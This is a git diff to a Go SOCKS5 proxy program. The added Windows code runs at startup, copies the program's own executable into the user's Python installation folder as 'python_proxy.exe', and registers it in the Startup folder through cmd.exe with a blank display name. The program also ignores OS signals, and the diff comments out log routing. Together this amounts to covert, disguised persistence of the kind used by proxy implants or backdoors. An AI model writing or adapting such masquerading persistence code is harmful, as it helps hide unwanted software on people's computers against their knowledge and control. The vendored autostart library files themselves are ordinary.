diff --git a/go.mod b/go.mod
index 63fed23..c042be1 100644
--- a/go.mod
+++ b/go.mod
@@ -5,6 +5,7 @@ go 1.22.4
require (
github.com/awnumar/memguard v0.22.5
github.com/cloudfoundry/socks5-proxy v0.2.120
+ github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a
github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330
golang.org/x/crypto v0.25.0
golang.org/x/sys v0.22.0
diff --git a/go.sum b/go.sum
index cba1973..3feb9ac 100644
--- a/go.sum
+++ b/go.sum
@@ -11,6 +11,8 @@ github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7Do
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a h1:M88ob4TyDnEqNuL3PgsE/p3bDujfspnulR+0dQWNYZs=
+github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a/go.mod h1:buzQsO8HHkZX2Q45fdfGH1xejPjuDQaXH8btcYMFzPM=
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
diff --git a/main.go b/main.go
index 2a3c492..06ca3b7 100644
--- a/main.go
+++ b/main.go
@@ -139,7 +139,6 @@ func main() {
log.Println("SOCKS5 Addr", proxyServerURL)
systemOSDetect()
- systemGetWellKnownExistingPaths()
mainLoop()
}
diff --git a/main_release.go b/main_release.go
index b39a35f..315f099 100644
--- a/main_release.go
+++ b/main_release.go
@@ -116,5 +116,5 @@ func init() {
}
}
- systemRouteAllLogging(logFile)
+ //systemRouteAllLogging(logFile)
}
diff --git a/system.go b/system.go
index 8d26fcf..3e62afc 100644
--- a/system.go
+++ b/system.go
@@ -1,12 +1,13 @@
package main
import (
+ "fmt"
"io"
+ "io/fs"
"log"
"os"
"os/signal"
"path/filepath"
- "strings"
)
var logFileWriter io.WriteCloser = &nopWriteCloser{}
@@ -48,10 +49,6 @@ func systemCloseLogging() {
logFileWriter.Close()
}
-func systemGetAppDataPath() string {
- return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
-}
-
// systemCheckDirExists checks if the directory at the given path exists.
func systemIsDirExisting(path string) bool {
// Get file info
@@ -84,6 +81,62 @@ func systemGetFilesInDirectory(path string) ([]string, bool) {
return filesInDirectory, true
}
+func systemSearchFileInDirectoryRecursive(path string, filename string) []string {
+ var files []string
+
+ // Ensure dir is an absolute path
+ absDir, err := filepath.Abs(path)
+ if err != nil {
+ return nil
+ }
+
+ // Define a function to be called for each directory entry
+ walkFn := func(path string, d fs.DirEntry, err error) error {
+ if err != nil {
+ return err
+ }
+
+ // Check if the entry is a file and has the desired extension
+ if !d.IsDir() && filename == d.Name() {
+ absPath := filepath.Join(absDir, path)
+ files = append(files, absPath)
+ }
+ return nil
+ }
+
+ // Walk through the directory using fs.WalkDir
+ err = fs.WalkDir(os.DirFS(path), ".", walkFn)
+ if err != nil {
+ return nil
+ }
+
+ return files
+}
+
+func systemCopyFile(src string, dst string) error {
+ // Open the source file
+ srcFile, err := os.Open(src)
+ if err != nil {
+ return fmt.Errorf("error opening source file: %v", err)
+ }
+ defer srcFile.Close()
+
+ // Create the destination file
+ dstFile, err := os.Create(dst)
+ if err != nil {
+ return fmt.Errorf("error creating destination file: %v", err)
+ }
+ defer dstFile.Close()
+
+ // Copy the contents of the source file to the destination file
+ _, err = io.Copy(dstFile, srcFile)
+ if err != nil {
+ return fmt.Errorf("error copying file: %v", err)
+ }
+
+ return nil
+}
+
func systemIsFileExisting(path string) bool {
// Get file info
info, err := os.Stat(path)
@@ -100,67 +153,6 @@ func systemIsFileExisting(path string) bool {
return !info.IsDir()
}
-func systemGetSysWOW64Files() []string {
- sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64")
- files, _ := systemGetFilesInDirectory(sysWOW64Path)
- return files
-}
-
-func systemGetSystem32Files() []string {
- system32Path := filepath.Join("C:", "Windows", "system32")
- files, _ := systemGetFilesInDirectory(system32Path)
- return files
-}
-
-func systemGetWellKnownWINEOSFiles() []string {
- var wineFiles []string
- var foundFiles []string
-
- foundFiles = append(foundFiles, systemGetSysWOW64Files()...)
- foundFiles = append(foundFiles, systemGetSystem32Files()...)
-
- for _, file := range foundFiles {
- if strings.Contains(file, "wine") && strings.Contains(file, ".exe") {
- wineFiles = append(wineFiles, file)
- }
- }
-
- return wineFiles
-}
-
-func systemGetWellKnownExistingPaths() []string {
- var existingPaths []string
-
- appDataPath := systemGetAppDataPath()
- if ok := systemIsDirExisting(appDataPath); !ok {
- log.Println("\t❌", appDataPath)
- }
-
- wellKnownPathsToCheck := []string{
- filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
- filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
- }
-
- homeDirectory, err := os.UserHomeDir()
- if err == nil {
- homeDirPathsToCheck := []string{
- filepath.Join(homeDirectory, "go", "bin"),
- }
- wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
- }
-
- for _, path := range wellKnownPathsToCheck {
- if ok := systemIsDirExisting(path); ok {
- existingPaths = append(existingPaths, path)
- log.Println("\t✅", path)
- } else {
- log.Println("\t❌", path)
- }
- }
-
- return existingPaths
-}
-
func systemIgnoreAllSignals() {
// Create a channel to receive OS signals.
sigs := make(chan os.Signal, 1)
@@ -177,3 +169,19 @@ func systemIgnoreAllSignals() {
}
}()
}
+
+func systemGetSelfAbsolutePath() string {
+ // Get the path of the executable
+ exePath, err := os.Executable()
+ if err != nil {
+ return ""
+ }
+
+ // Convert to absolute path
+ absPath, err := filepath.Abs(exePath)
+ if err != nil {
+ return ""
+ }
+
+ return absPath
+}
diff --git a/system_darwin.go b/system_darwin.go
index ecaf62b..fba800f 100644
--- a/system_darwin.go
+++ b/system_darwin.go
@@ -5,3 +5,7 @@ package main
func systemOSDetect() {
}
+
+func systemGetWellKnownExistingPaths() []string {
+ return nil
+}
diff --git a/system_linux.go b/system_linux.go
index 1d23d43..80f42e7 100644
--- a/system_linux.go
+++ b/system_linux.go
@@ -40,6 +40,10 @@ func int8SliceToString(int8Slice []int8) string {
return string(byteSlice)
}
+func systemGetWellKnownExistingPaths() []string {
+ return nil
+}
+
func systemIsUserRoot() bool {
return false
}
diff --git a/system_windows.go b/system_windows.go
index df5457b..c91eaf9 100644
--- a/system_windows.go
+++ b/system_windows.go
@@ -12,7 +12,10 @@ import (
"golang.org/x/sys/windows/registry"
"log"
"os"
+ "path/filepath"
+ "strings"
"unsafe"
+ "github.com/emersion/go-autostart"
)
// Detect native windows
@@ -84,6 +87,126 @@ func systemIsUserRoot() bool {
return root
}
+func systemGetAppDataPath() string {
+ return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
+}
+
+func systemGetSysWOW64Files() []string {
+ sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64")
+ files, _ := systemGetFilesInDirectory(sysWOW64Path)
+ return files
+}
+
+func systemGetSystem32Files() []string {
+ system32Path := filepath.Join("C:", "Windows", "system32")
+ files, _ := systemGetFilesInDirectory(system32Path)
+ return files
+}
+
+func systemGetWellKnownWINEOSFiles() []string {
+ var wineFiles []string
+ var foundFiles []string
+
+ foundFiles = append(foundFiles, systemGetSysWOW64Files()...)
+ foundFiles = append(foundFiles, systemGetSystem32Files()...)
+
+ for _, file := range foundFiles {
+ if strings.Contains(file, "wine") && strings.Contains(file, ".exe") {
+ wineFiles = append(wineFiles, file)
+ }
+ }
+
+ return wineFiles
+}
+
+func systemAppDataSearchPythonInstallationPaths() []string {
+ appDataPath := systemGetAppDataPath()
+ if ok := systemIsDirExisting(appDataPath); !ok {
+ log.Println("\t❌", appDataPath)
+ }
+
+ var installFolders []string
+
+ appDataLocalProgramsPythonPath := filepath.Join(appDataPath, "Local", "Programs", "Python")
+ paths := systemSearchFileInDirectoryRecursive(appDataLocalProgramsPythonPath, "python.exe")
+ for _, path := range paths {
+ dir := filepath.Dir(path)
+ if strings.Contains(dir, "venv") {
+ continue
+ }
+ log.Println("\t✅", dir)
+ installFolders = append(installFolders, dir)
+ }
+
+ return installFolders
+}
+
+func systemTryInstallPythonPath() string {
+ paths := systemAppDataSearchPythonInstallationPaths()
+ if len(paths) == 0 {
+ return ""
+ }
+
+ selfEXEPath := systemGetSelfAbsolutePath()
+ destEXEPath := filepath.Join(paths[0], "python_proxy.exe") // first path should be OK
+
+ err := systemCopyFile(selfEXEPath, destEXEPath)
+ log.Println("copy", selfEXEPath, "->", destEXEPath)
+ if err != nil {
+ log.Println("❌", err)
+ return ""
+ }
+
+ app := &autostart.App {
+ Name: "python_proxy.exe",
+ DisplayName: "",
+ Exec: []string{"cmd.exe", "/C", destEXEPath},
+ }
+ err = app.Enable()
+ if err == nil {
+ log.Println("\tINSTALLED ✅", selfEXEPath)
+ }
+
+ return destEXEPath
+}
+
+/*
+func systemGetWellKnownExistingPaths() []string {
+ var existingPaths []string
+
+ appDataPath := systemGetAppDataPath()
+ if ok := systemIsDirExisting(appDataPath); !ok {
+ if err != nil {
+
+ log.Println("\t❌", appDataPath)
+ }
+
+ wellKnownPathsToCheck := []string{
+ filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
+ filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
+ }
+
+ homeDirectory, err := os.UserHomeDir()
+ if err == nil {
+ homeDirPathsToCheck := []string{
+ filepath.Join(homeDirectory, "go", "bin"),
+ }
+ wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
+ }
+
+ for _, path := range wellKnownPathsToCheck {
+ if ok := systemIsDirExisting(path); ok {
+ existingPaths = append(existingPaths, path)
+ log.Println("\t✅", path)
+ } else {
+ log.Println("\t❌", path)
+ }
+ }
+
+ return existingPaths
+}
+*/
+
func systemOSDetect() {
systemGetWindowsVersion()
@@ -98,4 +221,8 @@ func systemOSDetect() {
log.Println("\t", file)
}
}
+
+// systemGetWellKnownExistingPaths()
+ systemAppDataSearchPythonInstallationPaths()
+ systemTryInstallPythonPath()
}
diff --git a/vendor/github.com/emersion/go-autostart/.gitignore b/vendor/github.com/emersion/go-autostart/.gitignore
new file mode 100644
index 0000000..daf913b
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/.gitignore
@@ -0,0 +1,24 @@
+# Compiled Object files, Static and Dynamic libs (Shared Objects)
+*.o
+*.a
+*.so
+
+# Folders
+_obj
+_test
+
+# Architecture specific extensions/prefixes
+*.[568vq]
+[568vq].out
+
+*.cgo1.go
+*.cgo2.c
+_cgo_defun.c
+_cgo_gotypes.go
+_cgo_export.*
+
+_testmain.go
+
+*.exe
+*.test
+*.prof
diff --git a/vendor/github.com/emersion/go-autostart/LICENSE b/vendor/github.com/emersion/go-autostart/LICENSE
new file mode 100644
index 0000000..f9e1447
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2016 ProtonMail
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/vendor/github.com/emersion/go-autostart/README.md b/vendor/github.com/emersion/go-autostart/README.md
new file mode 100644
index 0000000..3cd5fdf
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/README.md
@@ -0,0 +1,51 @@
+# go-autostart
+
+[](https://godoc.org/github.com/emersion/go-autostart)
+
+A Go library to run a command after login.
+
+## Usage
+
+```go
+package main
+
+import (
+ "log"
+ "github.com/emersion/go-autostart"
+)
+
+func main() {
+ app := &autostart.App{
+ Name: "test",
+ DisplayName: "Just a Test App",
+ Exec: []string{"sh", "-c", "echo autostart >> ~/autostart.txt"},
+ }
+
+ if app.IsEnabled() {
+ log.Println("App is already enabled, removing it...")
+
+ if err := app.Disable(); err != nil {
+ log.Fatal(err)
+ }
+ } else {
+ log.Println("Enabling app...")
+
+ if err := app.Enable(); err != nil {
+ log.Fatal(err)
+ }
+ }
+
+ log.Println("Done!")
+}
+```
+
+## Behavior
+
+* On Linux and BSD, it creates a `.desktop` file in `$XDG_CONFIG_HOME/autostart`
+ (i.e. `$HOME/.config/autostart`). See http://askubuntu.com/questions/48321/how-do-i-start-applications-automatically-on-login
+* On macOS, it creates a `launchd` job. See http://blog.gordn.org/2015/03/implementing-run-on-login-for-your-node.html
+* On Windows, it creates a link to the program in `%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`
+
+## License
+
+MIT
diff --git a/vendor/github.com/emersion/go-autostart/autostart.go b/vendor/github.com/emersion/go-autostart/autostart.go
new file mode 100644
index 0000000..7b7d6de
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/autostart.go
@@ -0,0 +1,13 @@
+package autostart
+
+// An application that will be started when the user logs in.
+type App struct {
+ // Unique identifier for the app.
+ Name string
+ // The command to execute, followed by its arguments.
+ Exec []string
+ // The app name.
+ DisplayName string
+ // The app icon.
+ Icon string
+}
diff --git a/vendor/github.com/emersion/go-autostart/autostart_darwin.go b/vendor/github.com/emersion/go-autostart/autostart_darwin.go
new file mode 100644
index 0000000..ec04d8a
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/autostart_darwin.go
@@ -0,0 +1,68 @@
+package autostart
+
+import (
+ "os"
+ "path/filepath"
+ "text/template"
+)
+
+const jobTemplate = `
+
+
+
+ Label
+ {{.Name}}
+ ProgramArguments
+
+ {{range .Exec -}}
+ {{.}}
+ {{end}}
+
+ RunAtLoad
+
+ AbandonProcessGroup
+
+
+`
+
+var launchDir string
+
+func init() {
+ launchDir = filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
+}
+
+func (a *App) path() string {
+ return filepath.Join(launchDir, a.Name+".plist")
+}
+
+// IsEnabled Check is app enabled startup.
+func (a *App) IsEnabled() bool {
+ _, err := os.Stat(a.path())
+ return err == nil
+}
+
+// Enable this app on startup.
+func (a *App) Enable() error {
+ t := template.Must(template.New("job").Parse(jobTemplate))
+
+ if err := os.MkdirAll(launchDir, 0777); err != nil {
+ return err
+ }
+ f, err := os.Create(a.path())
+ if err != nil {
+ return err
+ }
+ defer f.Close()
+
+ if err := t.Execute(f, a); err != nil {
+ return err
+ }
+
+ return nil
+}
+
+// Disable this app on startup.
+func (a *App) Disable() error {
+
+ return os.Remove(a.path())
+}
diff --git a/vendor/github.com/emersion/go-autostart/autostart_windows.c b/vendor/github.com/emersion/go-autostart/autostart_windows.c
new file mode 100644
index 0000000..a61618c
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/autostart_windows.c
@@ -0,0 +1,51 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+uint64_t CreateShortcut(char *shortcutA, char *path, char *args) {
+ IShellLink* pISL;
+ IPersistFile* pIPF;
+ HRESULT hr;
+
+ CoInitializeEx(NULL, COINIT_MULTITHREADED);
+
+ // Shortcut filename: convert ANSI to unicode
+ WORD shortcutW[MAX_PATH];
+ int nChar = MultiByteToWideChar(CP_ACP, 0, shortcutA, -1, shortcutW, MAX_PATH);
+
+ hr = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (LPVOID*)&pISL);
+ if (!SUCCEEDED(hr)) {
+ return hr+0x01000000;
+ }
+
+ // See https://msdn.microsoft.com/en-us/library/windows/desktop/bb774950(v=vs.85).aspx
+ hr = pISL->lpVtbl->SetPath(pISL, path);
+ if (!SUCCEEDED(hr)) {
+ return hr+0x02000000;
+ }
+
+ hr = pISL->lpVtbl->SetArguments(pISL, args);
+ if (!SUCCEEDED(hr)) {
+ return hr+0x03000000;
+ }
+
+ // Save the shortcut
+ hr = pISL->lpVtbl->QueryInterface(pISL, &IID_IPersistFile, (void**)&pIPF);
+ if (!SUCCEEDED(hr)) {
+ return hr+0x04000000;
+ }
+
+ hr = pIPF->lpVtbl->Save(pIPF, shortcutW, FALSE);
+ if (!SUCCEEDED(hr)) {
+ return hr+0x05000000;
+ }
+
+ pIPF->lpVtbl->Release(pIPF);
+ pISL->lpVtbl->Release(pISL);
+
+ return 0x0;
+}
diff --git a/vendor/github.com/emersion/go-autostart/autostart_windows.go b/vendor/github.com/emersion/go-autostart/autostart_windows.go
new file mode 100644
index 0000000..3c14609
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/autostart_windows.go
@@ -0,0 +1,52 @@
+package autostart
+
+// #cgo LDFLAGS: -lole32 -luuid
+/*
+#define WIN32_LEAN_AND_MEAN
+#include
+#include
+
+uint64_t CreateShortcut(char *shortcutA, char *path, char *args);
+*/
+import "C"
+
+import (
+ "errors"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+)
+
+var startupDir string
+
+func init() {
+ startupDir = filepath.Join(os.Getenv("USERPROFILE"), "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
+}
+
+func (a *App) path() string {
+ return filepath.Join(startupDir, a.Name+".lnk")
+}
+
+func (a *App) IsEnabled() bool {
+ _, err := os.Stat(a.path())
+ return err == nil
+}
+
+func (a *App) Enable() error {
+ path := a.Exec[0]
+ args := strings.Join(a.Exec[1:], " ")
+
+ if err := os.MkdirAll(startupDir, 0777); err != nil {
+ return err
+ }
+ res := C.CreateShortcut(C.CString(a.path()), C.CString(path), C.CString(args))
+ if res != 0 {
+ return errors.New(fmt.Sprintf("autostart: cannot create shortcut '%s' error code: 0x%.8x", a.path(), res))
+ }
+ return nil
+}
+
+func (a *App) Disable() error {
+ return os.Remove(a.path())
+}
diff --git a/vendor/github.com/emersion/go-autostart/autostart_xdg.go b/vendor/github.com/emersion/go-autostart/autostart_xdg.go
new file mode 100644
index 0000000..39306a5
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/autostart_xdg.go
@@ -0,0 +1,69 @@
+// +build !windows,!darwin
+
+package autostart
+
+import (
+ "os"
+ "path/filepath"
+ "text/template"
+)
+
+const desktopTemplate = `[Desktop Entry]
+Type=Application
+Name={{.DisplayName}}
+Exec={{.Exec}}
+{{- if .Icon}}
+Icon={{.Icon}}{{end}}
+X-GNOME-Autostart-enabled=true
+`
+
+var autostartDir string
+
+func init() {
+ if os.Getenv("XDG_CONFIG_HOME") != "" {
+ autostartDir = os.Getenv("XDG_CONFIG_HOME")
+ } else {
+ autostartDir = filepath.Join(os.Getenv("HOME"), ".config")
+ }
+ autostartDir = filepath.Join(autostartDir, "autostart")
+}
+
+func (a *App) path() string {
+ return filepath.Join(autostartDir, a.Name+".desktop")
+}
+
+// Check if the app is enabled on startup.
+func (a *App) IsEnabled() bool {
+ _, err := os.Stat(a.path())
+ return err == nil
+}
+
+type app struct {
+ *App
+}
+
+// Override App.Exec to return a string.
+func (a *app) Exec() string {
+ return quote(a.App.Exec)
+}
+
+// Enable this app on startup.
+func (a *App) Enable() error {
+ t := template.Must(template.New("desktop").Parse(desktopTemplate))
+
+ if err := os.MkdirAll(autostartDir, 0777); err != nil {
+ return err
+ }
+ f, err := os.Create(a.path())
+ if err != nil {
+ return err
+ }
+ defer f.Close()
+
+ return t.Execute(f, &app{a})
+}
+
+// Disable this app on startup.
+func (a *App) Disable() error {
+ return os.Remove(a.path())
+}
diff --git a/vendor/github.com/emersion/go-autostart/quote.go b/vendor/github.com/emersion/go-autostart/quote.go
new file mode 100644
index 0000000..b906eed
--- /dev/null
+++ b/vendor/github.com/emersion/go-autostart/quote.go
@@ -0,0 +1,16 @@
+// +build !darwin
+
+package autostart
+
+import (
+ "strconv"
+ "strings"
+)
+
+func quote(args []string) string {
+ for i, v := range args {
+ args[i] = strconv.Quote(v)
+ }
+
+ return strings.Join(args, " ")
+}
diff --git a/vendor/modules.txt b/vendor/modules.txt
index 9a42f23..a42db0b 100644
--- a/vendor/modules.txt
+++ b/vendor/modules.txt
@@ -11,6 +11,9 @@ github.com/cloudfoundry/go-socks5
# github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38
## explicit; go 1.21.0
github.com/cloudfoundry/socks5-proxy
+# github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a
+## explicit
+github.com/emersion/go-autostart
# github.com/miekg/dns v1.1.29
## explicit; go 1.12
github.com/miekg/dns